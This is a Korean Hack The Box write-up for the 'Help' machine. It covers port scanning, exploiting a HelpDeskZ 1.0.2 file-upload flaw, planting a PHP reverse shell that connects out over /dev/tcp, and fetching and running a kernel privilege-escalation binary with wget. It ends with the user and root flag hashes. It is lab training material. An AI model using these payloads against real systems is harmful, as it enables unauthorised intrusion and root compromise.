[HTB] Help Writeup
서버에 대한 정보를 획득하기 위해 포트 스캐닝을 해보았다.
nmap -sC -sS -sV -p- -O -o scanResult.txt 10.129.227.176
22, 80, 3000 포트가 오픈되어있음을 확인했다.
해당 포트에서의 취약점 존재 여부를 1차적으로 확인해봤다.
nmap --script vuln 10.129.227.176 -p 22,80,3000 -o nmapVulnScanResult.txt -Pn
80포트에는 apache2 디폴트 페이지가 있었다.
그리고 /support/ 에는 HelpDeskZ 라는 서비스가 오픈되어있었다.
searchsploit HelpDeskZ
해당 서비스에 대해 알려진 취약점이 있는지 확인해보았다. 아래와 같이 두 건이 있었다.
우선 첫 번째 파일업로드 취약점의 내용을 먼저 살펴보았다.
searchsploit -m 40300
우선 안내 된 것 처럼 웹쉘파일을 업로드 시도 해보았다.
하지만 파일이 허용되지 않는다고 나온다..
해당 취약점의 내용은 파일이 업로드 될 때 파일명이 변경되는것을 추적하여 웹쉘 업로드 후 해당 웹쉘파일을 추적하여 실행시키는 것이므로 웹쉘 파일 업로드가 필수적이기때문에 우회를 시도해보았으나 잘 되지 않았다.
우선, 저런 취약점들이 있다는 정도만 알아놓고 추가 정보 획득을 위해 /support/ 하위를 대상으로 gobuster 를 돌려보았다.
우선 readme.html 이라는 파일이 존재하는것을 파악하고 읽어보았다.
readme 파일에서 1.0.2 버전의 HelpDeskZ임을 확인했다. 그렇다면 앞서 언급된 알려진 취약점들이 유효해야하는데 실제로는 되지 않았으므로 가장 수상한 경로인 support/uploads/ 를 대상으로 다시 gobuster를 돌려봤다.
파일업로드가 제한되는것 같은 알림이 나오긴 했지만, 버전을 확인해보니 유효한 범위였으며, 취약점이 티켓 기능 관련 부분이라 혹시나 해서 /support/uploads/tickets 을 대상으로 파일 업로드 취약점 POC 코드를 다시 실행시켜보니 유효했다.
python 40300.py http://help.htb/support/uploads/tickets/ ws.php
해당 서버에 python이나 nc 등이 없는듯하여 리버스쉘 php를 다시 업로드하였다.
<?php exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/서버IP/포트 0>&1'"); ?>
nc -nvlp 포트
별다른 제한 없이 리버스 쉘을 획득 하여 user.txt를 획득했다.
권한 상승을 위해 우선 커널 취약점이 있는지 확인해보았다.
uname -a
알맞는 버전의 로컬 권한 상승 poc가 있어서 이를 컴파일 하고 서버로 옮겨서 실행시켜보았다.
searchsploit -m 44298
gcc 44298.c -o privesc
python3 -m http.server 8888
wget http://공격자서버/privesc
chmod 777 ./privesc
./privesc
다행히 유효하여 루트 권한 및 root.txt 를 획득 할 수 있었다.
[user] e5cb5a9b17d0e681e51fc707feaf95d7
[root] 3c880a6dba4ced986662a0fd034f8089